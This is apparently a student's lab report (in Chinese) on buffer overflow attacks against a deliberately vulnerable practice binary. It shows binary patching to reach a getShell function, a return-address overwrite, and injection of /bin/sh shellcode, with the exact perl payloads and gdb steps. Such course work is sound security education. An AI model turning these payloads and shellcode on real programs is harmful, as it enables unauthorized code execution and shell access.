20222401 2024-2025-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
本次实验是关于缓冲区溢出攻击的,主要的学习内容如下:
1.基本Linux命令
objdump:将代码段反汇编,在这次实验中主要是用来找地址的。
xxd:实现十六进制与二进制的转换,在这次实验的过程中,主要是有两个地方用到了这个命令。一是在打开文件后进行转换,而是以十六进制打开文件,保证字符串构造正确。
还有一些gdb调试过程中用到的命令。
2.内存地址结构
对于程序在计算机中的存储有了一个基本的了解,主要是对诸如eip,esp等寄存器的功能有了一个大概的了解。
3.学习基本的BOF注入攻击原理
这次实验总共进行了两次BOF注入攻击,通过修改机器指令,或者注入shellcode,从而实现对原程序执行逻辑的改变。
2.实验过程
2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
2.1.1传入文件
首先,把这次实验的需要用到的文件在自己的电脑上下载好,然后直接传入kali虚拟机,改成符合要求的文件名。
2.1.2执行反汇编
在这一步,需要启动root权限的终端,进行反汇编,指令如下
┌──(root㉿yinzixin)-[~]
└─# cd /home/kali/桌面
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# objdump -d pwn20222401 | more
下面展示一下反汇编的结果(只展示一会要操作的部分)
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
2.1.3分析、修改以实现跳转
我们重点关注main函数的这一行
80484b5: e8 d7 ff ff ff call 8048491 <foo>
这里是main函数跳转执行地址8048491的foo函数,我们现在想让main函数在这里执行getshell函数,只需要将这里的执行地址改成getshell的首地址,就可以跳转执行到getshell。
经过查询,call的机器码是e8,那后面的d7 ff ff ff应该就是地址,这个是机器补码,正确的顺序应该是FF FF FF D7,十进制数值是-41,对应16进制应该是负的0x29,用80484ba(这里是下一跳地址,我猜测是因为地址寄存器已经发生变化,不能使用本次的地址)减去29正好就是8048491,对应着foo函数的地址.
所以想要让这一步能够执行getshell函数,就需要调整好这个数值,使得跳转地址变成getshell函数的地址,即804847d,计算之后是FF FF FF C3,反过来就是c3 ff ff ff,则修改之后的指令应该是e8 c3 ff ff ff。
接下来进行修改。这里我们使用拷贝的副本(主要是后面还要用这个文件,直接改掉了后面会比较麻烦)pwn20222401_getShell,复制命令如下
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# cp pwn20222401 pwn20222401_getShell
然后使用文本编辑功能打开文件,修改相应位置即可。
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# vi pwn20222401
使用下面的命令进行转换(要是看得懂可以不转换)
:%!xxd(这个就是前面提到的十六进制转换)
然后查找我们要修改的地址f0e8 d7ff
,这里需要注意,查找时“/e8d7”的查找是失效的,只能查找前半部分或者后半部分。
f0e8查找成功
d7ff查找成功
e8d7查找失败
接下来,我们按照上面的分析进行修改(需要按“i”进入编辑模式),注意,修改之后需要输入:%!xxd -r
进行格式转换,否则写入不成功。
2.1.4运行测试
原先的程序,会输出你输入的字符串
修改之后的程序,已经变成shell的样子了。
说明修改成功了,达到了我们预设的效果。
2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
2.2.1字符串长度确定
核心原理:通过输入一个合适的字符串,使得字符串末尾正好覆盖地址指针寄存器,从而实现跳转。
这里测试一下111112222233333444445555566666777778888899999
注意,需要在gdb调试环境下查看
我们注意到eip那一行是0x38373737,翻译一下就是8 7 7 7,也就是说现在这个字符串有点长了~
根据这个信息,可以调整一下,变成111112222233333444445555566666771234
,再试一下
这次我们看到,正正好好就是0x34333231,对应的是4 3 2 1,说明现在这个字符串的后四位不偏不倚地覆盖了eip,那么后续我们只需要将这里换成相应的跳转地址就可以了。
根据上文,getshell的首地址是804847d,那么我们应该输入11111111222222223333333344444444\x7d\x84\x04\x08
但是16进制是不能通过键盘输入的,所以需要构造一个文件,命令如下
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
查看一下文件的内容,保证没问题
2.2.2运行测试
接下来只需要将这个文件“强行输入”进原先的程序,就能触发,命令如下
(cat input; cat) | ./pwn20222401_BOF
这里看到也是成功触发了getshell,证明我们的操作达到了预期效果。
2.3注入一个自己制作的shellcode并运行这段shellcode
2.3.1前置条件
shellcode注入需要一些条件,这里一一列出
execstack -s //pwn1设置堆栈可执行
execstack -q //pwn1查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化状态
最后一条尤为重要,这是保证地址不发生变化的关键。
创建本次操作用的副本,并调整为可执行权限
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# cp pwn20222401 pwn20222401_shellcode
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# chmod 777 pwn20222401_shellcode
接下来构造payload,格式为anything+retaddr+nops+shellcode
,先做一个试试看
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
然后再起一个终端,执行下面的注入命令(cat input_shellcode;cat) | ./pwn20222401_shellcode
接下来,切换回原来那个终端,查询刚才的进程号
ps -ef | grep pwn20222401_shellcode
我们得到了刚才运行的PID是84214,下面在gdb模式下进入进程。
设置断点disassemble foo
break *0x080484ae
接下来,切换到另一个进程,按一下回车,然后再回来(让程序跑一步)
输入c
和i r
(查看寄存器状态)
输入x/16x 0xffffd39c
查看esp寄存器
我们的目标就是把代码放到0x01020304后面的位置上,所以,地址直接+4即可,就是0xffffd3a0,接下来生成新的input_shellcode文件
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
2.3.2测试运行
┌──(root㉿yinzixin)-[/home/kali/桌面]
└─# (cat input_shellcode;cat) | ./pwn20222401
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����������1�Ph//shh/bin��PS��1Ұ
�
ls
input_shellcode pwn20222401
exit
这样我们看到,注入就成功了。
3.问题及解决方案
-
问题1:execstack查找不到路径
-
问题1解决方案:从
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
下载好相应的文件,然后拖回虚拟机,输入sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
直接解压即可。 -
问题2:gdb查找不到路径
-
问题2解决方案:输入
wget http://ftp.gnu.org/gnu/gdb/gdb-8.0.1.tar.gz
下载,使用tar -zxvf /home/kali/Desktop/gdb-8.0.1.tar.gz
解压。 -
问题3:kali桌面系统卡死(只有默认壁纸)
-
问题3解决方案:依次输入下列命令
apt-get clean apt-get remove xfce4 xfce4-places-plugin apt-get install x-window-system-core apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin reboot
-
问题4:终端名称无法修改
-
问题4解决方案:输入
hostnamectl set-hostname <新主机名>
-
问题5:文件执行权限不足
-
问题5解决方案:输入
chmod 777 <文件名>
4.学习感悟、思考等
这一次的实验对我来说难度不算小,倒不是因为实验本身有多难,而是自己相关方面的知识欠缺较多。在理解BOF注入的过程中花费了很多时间在地址跳转理解上,同时,kali系统本身并不是很完善,运行过程中有时会出现很多问题,都需要一点点去排查(装gdb和execstack大概消耗了半天时间,很麻烦,基本上很多方法都试过了)。
在这次实验的过程中,让我印象最深刻的就是BOF注入的过程。首先是要确定攻击的目标是什么(esp),然后精心选择合适的字符串(太长也不行,会覆盖掉其他内容,导致程序崩溃),然后选择注入,最后才能实现。这次算是很直观的体会到了缓冲区溢出的危险,本次使用的是“人畜无害”的shellcode,要是执行了其他恶意代码,对操作系统的危害是不可估量的。
最后,这次实验还有很多内容我是一知半解的,还需要在接下来的时间里面慢慢学习。